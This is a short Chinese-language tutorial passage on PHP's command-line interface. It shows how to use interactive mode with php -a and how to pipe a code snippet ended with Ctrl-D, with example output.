交互模式
你还可以以交互方式使用PHP CLI,也就是输入命令,马上获得结果。要得到这种效果,只需要使用一个参数调用CLI可执行文件就行了,就像下面这样:

shell> /path/to/php -a

你会看到一个空行,你可以在里面输入PHP代码。看看:

shell> /path/to/php -a
Interactive mode enabled
<?php
echo mktime();
1121187283
echo 2+2;
4
exit();
shell>

或者,你可以不使用-a参数就调用CLI可执行文件,直接输入完整的脚本或者代码段。用-D来结束代码段,并让CLI来执行它。见下面的例子:

shell> /path/to/php
<?php
echo date("d-M-Y h:i:s", time());
?>
<Ctrl-D>
12-Jul-2005 06:54:04

这就是PHP的命令行,现在你应该已经对PHP CLI有了足够的了解,并开始使用它了。